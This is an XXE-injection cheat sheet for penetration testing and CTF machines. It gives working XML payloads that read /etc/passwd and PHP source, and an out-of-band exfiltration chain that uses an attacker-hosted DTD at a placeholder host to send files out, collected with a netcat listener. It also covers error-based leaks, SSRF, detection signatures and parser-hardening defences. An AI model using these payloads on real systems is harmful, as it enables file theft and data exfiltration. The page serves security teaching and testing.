XML External Entity (XXE) Injection
Full command arsenal in the cheatsheetXXE (XML External Entity injection) is a vulnerability that appears when an application parses input XML and its parser has external-entity resolution enabled. XML lets you define entities, shorthands the parser expands while processing the document; external entities (SYSTEM) make the parser read an external resource (a local file, a URL) and substitute it into the document.
File read (reflected)
You declare an external entity pointing at a file and reference it in a field whose value is reflected in the response:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&xxe;</title>
</bugreport>When the XML is processed, &xxe; is replaced with the contents of /etc/passwd. On Windows, point at file:///C:/Windows/win.ini. If the file contains XML characters (<, &), a direct read breaks parsing: there the base64 wrapper is the way.
Source code with php://filter
To read a .php (which contains <, ?), base64-encode it with the wrapper and decode it locally:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<bugreport><title>&xxe;</title></bugreport>Blind (OOB) XXE: exfiltration with an external DTD
When there is no reflection, use parameter entities and an external DTD hosted by the attacker to pull the file out over HTTP to their server:
<!-- payload sent to the app -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://<lhost>/evil.dtd"> %dtd;]>
<foo>&exfil;</foo><!-- evil.dtd served at http://<lhost>/evil.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % wrap "<!ENTITY exfil SYSTEM 'http://<lhost>/?d=%file;'>">
%wrap;The server reads the file, puts it in the subdomain/parameter of a request to http://<lhost>/, and there you collect it (with nc -nlvp 80 or your own server).
Error-based (no OOB output)
If you cannot exfiltrate over HTTP but the parser leaks errors in the response, force an error that includes the file's contents in the message:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY x SYSTEM 'file:///nonexistent/%file;'>">
%err;Delivery vectors
Anywhere the app receives XML: forms, SOAP APIs and above all files that are XML inside:
- SVG uploaded as an image (a
.svgis XML: add the<!DOCTYPE>with the entity). - DOCX/XLSX/PPTX (they are ZIPs with XML inside: edit
document.xml). - XML feeds/config,
Content-Type: application/xml.
Intercepting with a proxy and seeing Content-Type: application/xml or an XML body is the tell for the attacker.
What you can achieve
- Arbitrary file read (
file://) and source code withphp://filter. - SSRF: force internal requests (
http://169.254.169.254/..., loopback services). See ssrf. - Blind (OOB) XXE: exfiltrate without reflection via an external DTD.
- In specific cases, denial of service (billion laughs) or RCE if dangerous wrappers exist (
expect://).
How to detect it. On the defensive side, the signature is in the XML body itself: a <!DOCTYPE with <!ENTITY and above all the SYSTEM keyword with file://, php://filter, http:// or expect:// schemes is unmistakable (a WAF inspecting the body flags it). Blind/OOB XXE is even more visible on the network: it makes the server perform an outbound request (HTTP or DNS) to the attacker's host to load the external DTD, so an outbound connection from the app server to an unknown domain right after receiving XML is the gold-standard signal. The SSRF variant leaves internal requests to 169.254.169.254 or loopback. The key: inbound XML containing an entity declaration, plus any unexpected network egress from the parser.
Defence. Disable external entities and DTDs in the parser (in PHP/libxml, libxml_disable_entity_loader(true) on old versions; in general, configure the parser not to resolve DOCTYPE/entities). Use simpler formats (JSON) when XML isn't needed, and validate/isolate any input that must be parsed as XML.
Machines where it's used
- BountyHunterHackTheBox
- Hacker Kid 1.0.1VulnHub
- HeadlessHackTheBox
- RedPandaHackTheBox